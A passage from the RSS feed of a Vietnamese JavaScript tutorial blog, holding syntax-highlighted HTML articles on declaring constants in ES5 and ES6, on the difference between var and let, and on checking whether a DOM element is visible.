punctuation">,</span> f <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">,</span> g <span class="token operator">=</span> <span class="token keyword">undefined</span><span class="token punctuation">,</span> h <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">a</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">b</span><span class="token operator">:</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token literal-property property">c</span><span class="token operator">:</span> <span class="token string">"3"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isEmptyObject</span><span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isEmptyObject</span><span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isEmptyObject</span><span class="token punctuation">(</span>c<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isEmptyObject</span><span class="token punctuation">(</span>d<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isEmptyObject</span><span class="token punctuation">(</span>e<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isEmptyObject</span><span class="token punctuation">(</span>f<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isEmptyObject</span><span class="token punctuation">(</span>g<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isEmptyObject</span><span class="token punctuation">(</span>h<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <p>Tham khảo:</p> <ul> <li><a href="/object-la-gi-object-trong-javascript/">Object là gì? Object trong JavaScript</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys">Object.keys()</a></li> </ul>[email protected]<![CDATA[Cách sử dụng hằng số trong ES5 và ES6?]]><![CDATA[Nhiều bạn khi lập trình JavaScript hay sử dụng let hoặc var trong mọi trường hợp, kể cả với hằng số. Nếu sử dụng như vậy, bạn sẽ không phản ánh được đúng tính chất của hằng số. Đó…]]>https://completejavascript.com/cach-su-dung-hang-so-trong-es5-va-es6/https://completejavascript.com/cach-su-dung-hang-so-trong-es5-va-es6/<![CDATA[Câu hỏi JS Cơ bản]]>Sat, 18 Dec 2021 08:00:00 GMT<p>Nhiều bạn khi lập trình JavaScript hay sử dụng <code>let</code> hoặc <code>var</code> trong mọi trường hợp, kể cả với <strong>hằng số</strong>.</p> <p>Nếu sử dụng như vậy, bạn sẽ không phản ánh được đúng tính chất của hằng số. Đó là <strong>tính bất biến</strong> - không bao giờ thay đổi giá trị.</p> <p>Bài viết này mình sẽ giúp bạn phân biệt cách khai báo và sử dụng hằng số trong ES5 và ES6.</p> <h2 id="sử-dụng-hằng-số-trong-es5" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-h%E1%BA%B1ng-s%E1%BB%91-trong-es5" aria-label="sử dụng hằng số trong es5 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng hằng số trong ES5</h2> <p>Để khai báo hằng số, bạn có thể sử dụng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties"><code>Object.defineProperties()</code></a>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Object<span class="token punctuation">.</span><span class="token function">defineProperties</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> props<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Phương thức này có 2 tham số là:</p> <ul> <li><code>obj</code>: là <a href="/object-la-gi-object-trong-javascript/">object</a> chứa hằng số cần khai báo. Nếu bạn muốn sử dụng hằng số cho toàn bộ chương trình thì có thể sử dụng global object là <code>window</code>.</li> <li><code>props</code>: là thuộc tính được định nghĩa. Mặc định, thuộc tính này có giá trị <code>writable = false</code>, tức là giá trị của nó không thể thay đổi.</li> </ul> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Object<span class="token punctuation">.</span><span class="token function">defineProperties</span><span class="token punctuation">(</span>window<span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">myconst</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="token literal-property property">enumerable</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myconst<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span> myconst <span class="token operator">=</span> <span class="token number">99</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myconst<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span></code></pre></div> <p>Trong ví dụ trên, mình định nghĩa <code>myconst</code> là một hằng số của <code>window</code> có giá trị <code>value</code> bằng <code>10</code>.</p> <p>Sau đó, mình có thay đổi giá trị <code>myconst = 99</code>, nhưng giá trị của <code>myconst</code> vẫn không thay đổi so với giá trị ban đầu là <code>10</code>.</p> <p>Bạn cũng thấy là dù việc thay đổi giá trị <code>myconst = 99</code> không có ý nghĩa, nhưng vẫn <strong>không có thông báo lỗi</strong> khi bạn cố tình thay đổi giá trị của hằng số.</p> <p>Để có thể nhận được thông báo lỗi này, bạn cần sử dụng ở <a href="/use-strict-trong-js/">strict mode</a>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperties</span><span class="token punctuation">(</span>window<span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">myconst</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="token literal-property property">enumerable</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myconst<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span> myconst <span class="token operator">=</span> <span class="token number">99</span><span class="token punctuation">;</span> <span class="token comment">// TypeError:</span> <span class="token comment">// Cannot assign to read only property 'myconst' of object '#&lt;Window>'</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myconst<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Khi đó, bạn nhận được lỗi: <strong>TypeError: Cannot assign to read only property 'myconst' of object '#&#x3C;Window>'</strong>. Rõ ràng là ý nghĩa của hằng số đã được thể hiện rất chặt chẽ.</p> <p>Ngoài ra, bạn cũng có thể khai báo hằng số cho một object khác, không phải <code>window</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> Object<span class="token punctuation">.</span><span class="token function">defineProperties</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">myconst</span><span class="token operator">:</span> <span class="token punctuation">{</span> <span class="token literal-property property">value</span><span class="token operator">:</span> <span class="token number">10</span><span class="token punctuation">,</span> <span class="token literal-property property">enumerable</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>myconst<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span> obj<span class="token punctuation">.</span>myconst <span class="token operator">=</span> <span class="token number">99</span><span class="token punctuation">;</span> <span class="token comment">// TypeError:</span> <span class="token comment">// Cannot assign to read only property 'myconst' of object '#&lt;Object>'</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj<span class="token punctuation">.</span>myconst<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Đó là cách khai báo và sử dụng hằng số trong ES5. Tuy nhiên, nếu sử dụng ES6 thì cách làm sẽ ngắn gọn hơn rất nhiều.</p> <h2 id="sử-dụng-hằng-số-trong-es6" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-h%E1%BA%B1ng-s%E1%BB%91-trong-es6" aria-label="sử dụng hằng số trong es6 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng hằng số trong ES6</h2> <p>ES6 cung cấp từ khóa <code>const</code> cho phép bạn định nghĩa hằng số rất ngắn gọn:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> myconst <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myconst<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span> myconst <span class="token operator">=</span> <span class="token number">99</span><span class="token punctuation">;</span> <span class="token comment">// TypeError: Assignment to constant variable.</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myconst<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Ngoài ra, <code>const</code> có phạm vi sử dụng theo <strong>block</strong>, giống như <a href="/phan-biet-var-va-let-trong-javascript/"><code>let</code></a>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">test</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> myconst <span class="token operator">=</span> <span class="token number">10</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myconst<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 10</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>myconst<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// myconst is not defined</span></code></pre></div> <p>Bạn thấy đó, ở ngoài hàm <code>test</code>, <code>myconst</code> chưa được định nghĩa.</p> <p>Tham khảo:</p> <ul> <li><a href="/hang-la-gi-hang-trong-javascript/">Hằng là gì? Hằng trong JS</a></li> <li><a href="/2-cach-tao-immutable-object-javascript/">Immutable object - đối tượng bất biến</a></li> </ul>[email protected]<![CDATA[Phân biệt var và let trong JavaScript]]><![CDATA[Trước đây, có thể nhiều bạn đã quen dùng var để khai báo biến trong JavaScript. Tuy nhiên, từ phiên bản ES6, mình khuyên bạn chỉ nên dùng từ khóa let. Vậy let giống và khác var như…]]>https://completejavascript.com/phan-biet-var-va-let-trong-javascript/https://completejavascript.com/phan-biet-var-va-let-trong-javascript/<![CDATA[Câu hỏi JS Cơ bản]]>Fri, 17 Dec 2021 20:30:00 GMT<p>Trước đây, có thể nhiều bạn đã quen dùng <code>var</code> để khai báo <a href="/kieu-du-lieu-trong-javascript/">biến</a> trong JavaScript. Tuy nhiên, từ phiên bản ES6, mình khuyên bạn <strong>chỉ</strong> nên dùng từ khóa <code>let</code>. Vậy <code>let</code> giống và khác <code>var</code> như thế nào? Bài viết này sẽ giúp bạn phân biệt <code>var</code> và <code>let</code> trong JavaScript.</p> <p>Qua đó, bạn biết cách sử dụng <code>var</code> và <code>let</code> sao cho phù hợp nhất. Cũng như, bạn có thể chuyển đổi mã nguồn từ <code>var</code> sang <code>let</code> mà không làm ảnh hưởng tới logic của chương trình hiện tại (những chương trình có mã nguồn từ trước khi <code>let</code> xuất hiện).</p> <h2 id="giống-nhau-giữa-var-và-let" style="position:relative;"><a href="#gi%E1%BB%91ng-nhau-gi%E1%BB%AFa-var-v%C3%A0-let" aria-label="giống nhau giữa var và let permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Giống nhau giữa <code>var</code> và <code>let</code></h2> <p>Hai từ khóa <code>var</code> và <code>let</code> giống nhau là:</p> <ul> <li>Đều là từ khoá - keyword.</li> <li>Cùng được dùng để khai báo biến trong <a href="/javascript/">JavaScript</a></li> </ul> <h2 id="khác-nhau-giữa-var-và-let" style="position:relative;"><a href="#kh%C3%A1c-nhau-gi%E1%BB%AFa-var-v%C3%A0-let" aria-label="khác nhau giữa var và let permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khác nhau giữa <code>var</code> và <code>let</code></h2> <p>Hai từ khóa <code>var</code> và <code>let</code> khác nhau ở <strong>phạm vi sử dụng của biến</strong>:</p> <ul> <li>Phạm vi của biến sử dụng <strong>var</strong> là phạm vi hàm hoặc bên ngoài <a href="/ham-la-gi-ham-trong-javascript/">hàm</a>, toàn cục.</li> <li>Phạm vi của biến sử dụng <strong>let</strong> là phạm vi một khối (block), xác định bởi cặp <code>{}</code>.</li> </ul> <p><strong>Ví dụ sử dụng <code>let</code>:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">useLet</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>j<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ReferenceError: j is not defined</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">let</span> j <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> <span class="token number">3</span><span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"j inside "</span><span class="token punctuation">,</span> j<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0, 1, 2</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"j outside "</span><span class="token punctuation">,</span> j<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// ReferenceError: j is not defined</span> <span class="token punctuation">}</span> <span class="token function">useLet</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Biến <code>j</code> ở trên được khai báo sử dụng từ khóa <code>let</code>. Nên biến <code>j</code> chỉ được phép sử dụng trong vòng lặp for.</p> <p>Nếu bạn truy cập biến <code>j</code> ngoài vòng lặp for thì đều bị lỗi <strong>ReferenceError: j is not defined</strong>.</p> <p><strong>Ví dụ sử dụng <code>var</code>:</strong></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">useVar</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">var</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">3</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"i inside "</span><span class="token punctuation">,</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 0, 1, 2</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"i outside "</span><span class="token punctuation">,</span> i<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 3</span> <span class="token punctuation">}</span> <span class="token function">useVar</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Phạm vi của biến sử dụng <code>var</code> là phạm vi của hàm chứa phần khai báo biến.</p> <p>Mặc dù biến <code>i</code> được khai báo trong vòng lặp for, nhưng bạn vẫn có thể truy cập biến <code>i</code> ở mọi vị trí trong hàm.</p> <p>Lúc đầu, giá trị của biến <code>i</code> là <code>undefined</code>, nên khi gọi <code>console.log(i)</code> lần đầu tiên, giá trị in ra là <code>undefined</code> chứ không phải là lỗi <strong>ReferenceError: i is not defined</strong>.</p> <p>Và sau vòng lặp for, giá trị của biến <code>i</code> vẫn giữ nguyên là <code>3</code> thay vì <code>undefined</code>.</p> <blockquote> <p>📝 Vấn đề với <code>var</code> là: bạn khó kiểm soát giá trị của biến và dễ dàng bị xung đột nếu như khai báo tên biến giống nhau ở nhiều nơi.</p> </blockquote> <h2 id="nên-sử-dụng-var-hay-let" style="position:relative;"><a href="#n%C3%AAn-s%E1%BB%AD-d%E1%BB%A5ng-var-hay-let" aria-label="nên sử dụng var hay let permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Nên sử dụng <code>var</code> hay <code>let</code>?</h2> <p>Như mình đã nói trong các bài viết trước, từ khóa <code>var</code> đã lỗi thời. Nên mình khuyên bạn chỉ nên sử dụng từ khóa <code>let</code> để khai báo biến.</p> <blockquote> <p>💡 Một số bài viết trên trang <strong>Complete JavaScript</strong> vẫn đang sử dụng từ khóa <code>var</code>, vì mình đã viết chúng từ năm 2017.</p> <p>Mình đang cập nhật nội dung từ từ và sẽ dần thay thế từ khóa <code>var</code> bằng từ khóa <code>let</code>.</p> </blockquote> <p><strong>Tham khảo:</strong></p> <ul> <li><a href="/bien-la-gi-bien-trong-javascript/">Biến là gì? Biến trong JS</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></li> </ul>[email protected]<![CDATA[Cách kiểm tra phần tử là visible trên DOM?]]><![CDATA[Có hai cách để kiểm tra phần tử là visible trên DOM. Kiểm tra width, height và bounding rectangle của phần tử. Sử dụng phương thức getComputedStyle() để kiểm tra thuộc tính display…]]>https://completejavascript.com/kiem-tra-phan-tu-la-visible-tren-dom/https://completejavascript.com/kiem-tra-phan-tu-la-visible-tren-dom/<![CDATA[Câu hỏi JS DOM]]>Fri, 17 Dec 2021 19:45:00 GMT<p>Có hai cách để <strong>kiểm tra phần tử là visible</strong> trên DOM.</p> <ul> <li>Kiểm tra <strong>width, height và bounding rectangle</strong> của phần tử.</li> <li>Sử dụng phương thức <code>getComputedStyle()</code> để kiểm tra thuộc tính <code>display</code>.</li> </ul> <h2 id="kiểm-tra-width-height-và-bounding-rectangle" style="position:relative;"><a href="#ki%E1%BB%83m-tra-width-height-v%C3%A0-bounding-rectangle" aria-label="kiểm tra width height và bounding rectangle permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kiểm tra width, height và bounding rectangle</h2> <p>Bạn có thể kiểm tra phần tử là visible trên DOM bằng cách kiểm tra <strong>width, height và bounding rectangle</strong>.</p> <ul> <li>Thuộc tính <code>offsetHeight</code> dùng để lấy <code>height</code> của phần tử bao gồm <strong>padding</strong> và <strong>border</strong> theo chiều dọc (nếu có). Kết quả trả về là <strong>số nguyên</strong> xác định <code>height</code>.</li> <li>Thuộc tính <code>offsetWidth</code> dùng để lấy <code>width</code> của phần tử bao gồm <strong>padding</strong> và <strong>border</strong> theo chiều ngang (nếu có). Kết quả trả về là <strong>số nguyên</strong> xác định <code>width</code>.</li> <li>Phương thức <code>getClientRects()</code> trả về tập hợp các hình chữ nhật bao quanh phần tử. Kết quả trả về là các đối tượng <code>DOMRect</code>. Bạn có thể sử dụng thuộc tính <code>length</code> để xác định có tồn tại hình chữ nhật bao quanh phần tử hay không.</li> </ul> <p>Kết hợp ba thành phần trên giúp bạn kiểm tra phần tử là visible trên DOM hay không.</p> <p>Ví dụ cấu trúc DOM:</p> <div class="gatsby-code-title gatsby-remark-code-title">index.html</div> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>html</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>style</span><span class="token punctuation">></span></span><span class="token style"><span class="token language-css"> <span class="token selector">.visible</span> <span class="token punctuation">{</span> <span class="token property">height</span><span class="token punctuation">:</span> 100px<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100px<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> green<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token selector">.invisible</span> <span class="token punctuation">{</span> <span class="token property">height</span><span class="token punctuation">:</span> 100px<span class="token punctuation">;</span> <span class="token property">width</span><span class="token punctuation">:</span> 100px<span class="token punctuation">;</span> <span class="token property">background-color</span><span class="token punctuation">:</span> green<span class="token punctuation">;</span> <span class="token property">display</span><span class="token punctuation">:</span> none<span class="token punctuation">;</span> <span class="token punctuation">}</span> </span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>style</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>head</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>visible<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>invisible<span class="token punctuation">"</span></span><span class="token punctuation">></span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>body</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>html</span><span class="token punctuation">></span></span></code></pre></div> <p>Code kiểm tra:</p> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">isElementVisible</span><span class="token punctuation">(</span><span class="token parameter">element</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token function">Boolean</span><span class="token punctuation">(</span> element<span class="token punctuation">.</span>offsetWidth <span class="token operator">||</span> element<span class="token punctuation">.</span>offsetHeight <span class="token operator">||</span> element<span class="token punctuation">.</span><span class="token function">getClientRects</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>length <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> visibleObj <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".visible"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isElementVisible</span><span class="token punctuation">(</span>visibleObj<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token keyword">let</span> invisibleObj <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".invisible"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token function">isElementVisible</span><span class="token punctuation">(</span>invisibleObj<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span></code></pre></div> <h2 id="sử-dụng-phương-thức-getcomputedstyle" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-getcomputedstyle" aria-label="sử dụng phương thức getcomputedstyle permalink" class="anchor 